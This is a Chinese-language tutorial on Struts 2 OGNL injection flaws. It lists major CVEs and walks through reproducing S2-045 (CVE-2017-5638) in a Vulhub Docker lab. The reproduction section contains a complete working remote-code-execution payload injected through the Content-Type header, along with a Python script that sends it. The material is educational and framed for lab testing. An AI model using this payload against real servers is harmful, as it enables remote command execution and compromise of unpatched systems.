Struts 2 是 Java Web 开发历史上非常著名的一个框架,但也因为其频发的 远程代码执行 (RCE) 漏洞而“臭名昭著”。这主要归咎于其核心设计中的 OGNL (Object-Graph Navigation Language) 表达式引擎。
一、 核心原理:为什么 Struts 2 总是有漏洞?
Struts 2 漏洞的根源大多指向同一个机制:OGNL 表达式注入。
1. 什么是 OGNL?
OGNL 是一种功能强大的表达式语言,用于获取和设置 Java 对象的属性。在 Struts 2 中,它主要用于将 HTTP 请求参数(用户输入)绑定到 Java 对象(Action)中。
2. 漏洞成因
Struts 2 的某些组件(拦截器、标签库等)在处理用户输入时,错误地将用户输入的字符串当成了 OGNL 表达式来执行。
- 正常流程: 用户输入
username=admin-> 框架将其赋值给action.username。 - 攻击流程: 用户输入
username=%{1+1}-> 框架解析 OGNL -> 执行1+1-> 返回2。 - 恶意流程: 用户输入包含了调用
Runtime.getRuntime().exec("whoami")的 OGNL 表达式 -> 框架执行命令 -> 服务器被控制。
二、 历史上著名的 Struts 2 漏洞
Struts 2 的漏洞通常以 "S2-xxx" 命名。以下是几个“核弹级”漏洞:
| 漏洞编号 | CVE 编号 | 触发位置 | 简述 |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | HTTP Header (Content-Type) | 影响最大。利用 Jakarta Multipart 解析器处理文件上传时的异常,在 Content-Type 中注入 OGNL 实现 RCE。 |
| S2-016 | CVE-2013-2251 | URL 参数 (前缀) | DefaultActionMapper 处理 action: 或 redirect: 前缀时未过滤,导致 OGNL 执行。 |
| S2-057 | CVE-2018-11776 | URL Namespace | 当 Action 定义未设置 namespace 且使用了通配符时,攻击者可在 URL 中注入 OGNL。 |
| S2-061 | CVE-2020-17530 | HTML 标签属性 | S2-059 的绕过版本,OGNL 强制求值导致 RCE。 |
三、 经典案例详解与复现:S2-045 (CVE-2017-5638)
这是 Struts 2 历史上影响范围最广的漏洞之一(曾导致 Equifax 数据泄露事件)。
1. 漏洞原理
Struts 2 使用 Jakarta Multipart parser 解析文件上传请求。
- 攻击者发送一个文件上传请求,但在 HTTP Header 的
Content-Type字段中放入恶意的 OGNL 表达式。 - 由于
Content-Type格式不合法,解析器抛出异常。 - Struts 2 捕获异常,并试图生成错误信息。在构建错误信息(LocalizedTextUtil)的过程中,它错误地执行了包含在 Content-Type 中的 OGNL 表达式。
2. 复现环境搭建 (推荐使用 Vulhub)
为了安全和便捷,建议使用 Docker 搭建靶场,不要在物理机或生产环境测试。
前提: 安装好 Docker 和 Docker-compose。
-
下载 Vulhub:
git clone https://github.com/vulhub/vulhub.git cd vulhub/struts2/s2-045 -
启动环境:
docker-compose up -d -
验证启动:
访问
http://your-ip:8080,如果看到 Struts 2 的文件上传页面,说明环境启动成功。
3. 复现步骤 (Proof of Concept)
你需要修改 HTTP 请求的 Content-Type 头。可以使用 Burp Suite 或 Python 脚本。
方法 A:使用 Burp Suite
- 拦截并抓取一个对该网站的 POST 请求。
- 将请求发送到 Repeater。
- 修改
Content-Type头,填入以下 Payload(Payload 需要经过特殊构造以绕过安全限制):
Payload 结构解析(简化版):
Plaintext
Content-Type: %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('id'))}
注意:实际生效的 Payload 往往很长,因为需要通过反射修改 OgnlContext 的权限设置,允许访问静态方法。
真实可用的 Payload 示例 (执行 id 命令):
POST / HTTP/1.1
Host: localhost:8080
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
- 发送请求。
- 观察响应。你应该能在 HTTP 响应包中直接看到
id命令的执行结果(例如uid=0(root) gid=0(root)...)。
方法 B:使用 Python 脚本
import requestsurl = "http://localhost:8080"
cmd = "whoami"payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"headers = {'Content-Type': payload
}try:r = requests.post(url, headers=headers)print("Command Output:\n", r.text)
except Exception as e:print(e)